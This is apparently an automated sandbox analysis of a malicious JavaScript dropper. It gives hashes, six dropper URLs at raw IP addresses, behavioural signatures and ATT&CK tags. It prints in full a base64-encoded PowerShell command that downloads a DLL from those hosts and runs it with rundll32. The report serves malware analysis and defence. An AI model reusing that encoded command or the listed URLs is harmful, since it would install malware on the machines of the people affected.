2509f0df15b1caab70d2f0a55287a51419b158afbe4743e6a2de767af2af96d0

Analysis

max time kernel
146s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
25/03/2023, 01:53

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General

Target

3ea11f515eb42ed351b3e53855097b35dcf00a9faf9fd868299b71fb4e34847e.js
Size

76KB
MD5

bdbc96baa80959b9567644cfd9cfa108
SHA1

74454032b37ae698615dc3db4d7f4eb47a9aa596
SHA256

3ea11f515eb42ed351b3e53855097b35dcf00a9faf9fd868299b71fb4e34847e
SHA512

b6c876b7304b8467f46402e449b7951719844d73d18c9f5b06be279f4d26a7c2ff796dc5810158cf771badacf3a2b63689b626b3989604c422280bf718fdcfe4
SSDEEP

1536:+GEcysfmIvfU3FGXpF266XPOBgtEc5zOdqBHcnyFfIruavQGWMaMfqRwqwcIkisb:+QysfmIvfU3FGXpF266XPOBgtEc5zOde

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://103.214.71.131/gdg77dzSUN7N.dat

exe.dropper

http://198.44.140.75/ZDaZZLNJq.dat

exe.dropper

http://87.236.146.53/mSVe5fds.dat

exe.dropper

http://154.7.253.203/Vodubu.dat

exe.dropper

http://137.74.39.237/LM0g9Nw.dat

exe.dropper

http://139.180.172.203/ajyMC.dat

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
19	4352	powershell.exe
29	4352	powershell.exe
31	4352	powershell.exe
43	4352	powershell.exe
51	4352	powershell.exe
53	4352	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4352	powershell.exe
4352	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4352	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3196 wrote to memory of 4352	3196	wscript.exe	81
PID 3196 wrote to memory of 4352	3196	wscript.exe	81

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3ea11f515eb42ed351b3e53855097b35dcf00a9faf9fd868299b71fb4e34847e.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAUwB0AHIAbwBtAGEAdABvAGwAaQB0AGUATQBlAHQAYQBzAHQAZQByAG4AdQBtACAAPQAgACgAIgBoAHQAdABwADoALwAvADEAMAAzAC4AMgAxADQALgA3ADEALgAxADMAMQAvAGcAZABnADcANwBkAHoAUwBVAE4ANwBOAC4AZABhAHQALABoAHQAdABwADoALwAvADEAOQA4AC4ANAA0AC4AMQA0ADAALgA3ADUALwBaAEQAYQBaAFoATABOAEoAcQAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA4ADcALgAyADMANgAuADEANAA2AC4ANQAzAC8AbQBTAFYAZQA1AGYAZABzAC4AZABhAHQALABoAHQAdABwADoALwAvADEANQA0AC4ANwAuADIANQAzAC4AMgAwADMALwBWAG8AZAB1AGIAdQAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADMANwAuADcANAAuADMAOQAuADIAMwA3AC8ATABNADAAZwA5AE4AdwAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADMAOQAuADEAOAAwAC4AMQA3ADIALgAyADAAMwAvAGEAagB5AE0AQwAuAGQAYQB0ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFUAbgBkAGUAbgBvAG0AaQBuAGEAdABpAG8AbgBhAGwAaQBzAG0AIABpAG4AIAAkAFMAdAByAG8AbQBhAHQAbwBsAGkAdABlAE0AZQB0AGEAcwB0AGUAcgBuAHUAbQApACAAewB0AHIAeQAgAHsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABVAG4AZABlAG4AbwBtAGkAbgBhAHQAaQBvAG4AYQBsAGkAcwBtACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA2ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABTAHUAdAB0AGkAbgBIAGEAcAB1AGsAdQAuAGQAbABsADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAUwB1AHQAdABpAG4ASABhAHAAdQBrAHUALgBkAGwAbAApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADEAMAAwADAAMAAwACkAIAB7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABTAHUAdAB0AGkAbgBIAGEAcAB1AGsAdQAuAGQAbABsACwARwBMADcAMAA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMAOwB9AH0A"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4352

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4cctdliz.fck.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4352-138-0x000001D3CCA70000-0x000001D3CCA92000-memory.dmp

Filesize
136KB

Download
memory/4352-143-0x000001D3E4DE0000-0x000001D3E4DF0000-memory.dmp

Filesize
64KB

Download
memory/4352-144-0x000001D3E4DE0000-0x000001D3E4DF0000-memory.dmp

Filesize
64KB

Download
memory/4352-145-0x000001D3E4DE0000-0x000001D3E4DF0000-memory.dmp

Filesize
64KB

Download
memory/4352-146-0x000001D3E4DE0000-0x000001D3E4DF0000-memory.dmp

Filesize
64KB

Download
memory/4352-147-0x000001D3E4DE0000-0x000001D3E4DF0000-memory.dmp

Filesize
64KB

Download
memory/4352-148-0x000001D3E4DE0000-0x000001D3E4DF0000-memory.dmp

Filesize
64KB

Download
memory/4352-149-0x000001D3E7C10000-0x000001D3E83B6000-memory.dmp

Filesize
7.6MB

Download